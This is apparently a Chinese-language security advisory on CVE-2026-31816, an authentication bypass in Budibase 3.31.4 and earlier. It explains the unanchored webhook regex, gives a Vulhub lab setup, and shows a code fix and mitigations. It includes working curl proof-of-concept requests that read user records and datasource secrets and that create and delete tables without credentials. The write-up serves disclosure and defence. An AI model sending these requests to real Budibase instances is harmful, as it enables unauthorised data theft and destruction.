2026 年 3 月 9 日,Budibase 官方发布了严重的安全公告,披露了一个关键的身份验证绕过漏洞 (CVE-2026-31816),该漏洞影响 Budibase 3.31.4 及更早版本。攻击者只需在 URL 中添加特定的查询参数,即可完全绕过所有身份验证、授权检查和 CSRF 保护,直接访问任何服务器端 API 端点,实现对系统的完全控制。
漏洞等级:CRITICAL (CVSS 3.1 评分:9.1)
漏洞类型:身份验证绕过 发现时间:2026 年 3 月 9 日
影响版本:Budibase 3.31.4 及更早版本
CVE 编号:CVE-2026-31816
GHSA 编号:GHSA-gw94-hprh-4wj8
Budibase 是一个开源的低代码平台,用于创建内部工具、工作流和管理面板。它允许用户无需编写大量代码即可快速构建业务应用程序,支持多种数据源集成,提供可视化的界面设计器和丰富的组件库。Budibase 广泛应用于企业内部工具开发、业务流程自动化、数据管理系统等场景,因其易用性和灵活性受到开发者和企业的欢迎。
该漏洞源于 Budibase 服务器端的authorized()中间件实现存在缺陷,该中间件负责保护所有服务器端 API 端点。isWebhookEndpoint()函数使用了未锚定的正则表达式来测试ctx.request.url,而在 Koa 框架中,ctx.request.url包含了完整的 URL(包括查询参数)。当正则表达式匹配时,authorized()中间件会立即返回next(),完全绕过身份验证、授权检查、角色验证和 CSRF 保护。
// 文件:packages/server/src/middleware/utils.ts (第3-14行)
const WEBHOOK_ENDPOINTS = new RegExp(
["webhooks/trigger", "webhooks/schema", "webhooks/discord", "webhooks/ms-teams"].join("|")
)
export function isWebhookEndpoint(ctx: UserCtx) {
return WEBHOOK_ENDPOINTS.test(ctx.request.url)
// BUG: ctx.request.url 包含查询字符串
// BUG: 正则表达式未锚定 —— 会匹配URL中的任何位置
}// 文件:packages/server/src/middleware/authorized.ts (第84-96行)
const authorized = (permType, permLevel, opts, resourcePath) =>
async (ctx: UserCtx, next: any) => {
if (isWebhookEndpoint(ctx) || ctx.internal) {
return next() // 绕过:身份验证检查、角色检查、CSRF保护、构建器中间件
}
// 以下所有安全检查都被跳过...
}攻击者只需在任何 API 端点的 URL 后添加?/webhooks/trigger或其他 webhook 路径模式的变体,即可触发身份验证绕过。例如:
http://localhost:10000/api/ta_users/search?/webhooks/trigger
http://localhost:10000/api/tables?/webhooks/schema
http://localhost:10000/api/datasources?/webhooks/discord
可以使用 Vulhub 提供的环境快速搭建漏洞复现环境:
git clone https://github.com/vulhub/vulhub.git cd vulhub/budibase/CVE-2026-31816 docker compose up -d
启动后,访问http://your-ip:10000即可访问 Budibase 界面,默认管理员凭据为[email protected]:admin123456。
curl -s -X POST "http://localhost:10000/api/ta_users/search?/webhooks/trigger" \
-H "Content-Type: application/json" \
-H "x-budibase-app-id: <TARGETED_WORKSPACE_ID>" \
-d '{"query":{}}'该请求将返回所有用户记录,包括邮箱地址、角色和其他敏感信息,而无需任何身份验证。
curl -s -X POST "http://localhost:10000/api/tables?/webhooks/trigger" \
-H "Content-Type: application/json" \
-H "x-budibase-app-id: <TARGETED_WORKSPACE_ID>" \
-d '{"name":"hacked_table","schema":{}}'服务器将返回 HTTP 200 响应,并返回新创建表的 ID 和版本信息,证明攻击者可以在未授权的情况下创建表。
curl -s -X DELETE \ "http://localhost:10000/api/tables/<TABLE_ID>/<TABLE_REV>?/webhooks/trigger" \ -H "x-budibase-app-id: <TARGETED_WORKSPACE_ID>"
攻击者可以使用该请求删除任意表,造成数据丢失。
curl -s "http://localhost:10000/api/datasources?/webhooks/trigger" \ -H "x-budibase-app-id: <TARGETED_WORKSPACE_ID>"
该请求将返回所有数据源的完整配置,包括数据库连接字符串、API 密钥等敏感信息。
攻击者可以通过该漏洞访问所有服务器端 API 端点,包括但不限于:
/api/roles- 查看和修改角色权限
/api/integrations- 查看和修改集成配置
/api/views- 查看和修改视图
/api/plugins- 查看和修改插件
/api/automations- 查看和修改自动化工作流
/api/users- 查看和修改用户信息
/api/workspaces- 查看和修改工作空间配置
所有自托管的 Budibase 实例,版本 3.31.4 及更早版本
所有使用 Budibase 构建的内部工具、管理面板和业务应用
完全身份验证绕过:攻击者无需任何凭据即可访问所有受保护的 API 端点
数据泄露:攻击者可以读取所有用户数据、数据源配置、API 密钥等敏感信息
数据篡改:攻击者可以创建、修改和删除表、数据记录、工作流等
系统接管:攻击者可以修改系统配置、添加恶意用户、安装恶意插件
CSRF 保护绕过:所有 CSRF 保护机制都被绕过,攻击者可以执行跨站请求伪造攻击
零交互攻击:无需用户点击或任何社会工程手段,纯网络攻击即可实现
修改 webhook 端点检测逻辑:
- 将正则表达式改为锚定模式,只匹配 URL 路径部分,而不是整个 URL
- 只检查ctx.path而不是ctx.request.url,因为ctx.path不包含查询参数
修改后的代码示例:
const WEBHOOK_ENDPOINTS = new RegExp(
"^/(webhooks/trigger|webhooks/schema|webhooks/discord|webhooks/ms-teams)$"
)
export function isWebhookEndpoint(ctx: UserCtx) {
return WEBHOOK_ENDPOINTS.test(ctx.path)
}2. Web 应用防火墙 (WAF) 规则:
- 阻止包含?/webhooks/或类似模式的请求
- 限制对 webhook 端点的访问,只允许可信 IP 地址
3. 网络隔离:
- 将 Budibase 部署在专用网络中,避免直接暴露在公网
- 使用反向代理限制对 API 端点的访问
Budibase CVE-2026-31816 是一个严重的身份验证绕过漏洞,允许未授权攻击者完全控制系统。该漏洞源于正则表达式使用不当和 URL 处理逻辑缺陷,攻击者只需在 URL 中添加特定的查询参数即可绕过所有安全检查。
紧急提醒:
所有使用 Budibase 3.31.4 及更早版本的用户应立即采取临时修复措施
密切关注官方修复版本发布,及时升级到安全版本
加强网络安全防护,限制对 Budibase 实例的访问
监控系统日志,发现可疑行为及时处理
安全无小事,特别是对于低代码平台这类用于构建内部工具的系统,一旦被攻击者控制,可能会导致严重的数据泄露和系统损坏。建议用户高度重视该漏洞,立即采取措施保护系统安全。
https://github.com/Budibase/budibase/security/advisories/GHSA-gw94-hprh-4wj8 https://nvd.nist.gov/vuln/detail/CVE-2026-31816 https://github.com/vulhub/vulhub/tree/master/budibase/CVE-2026-31816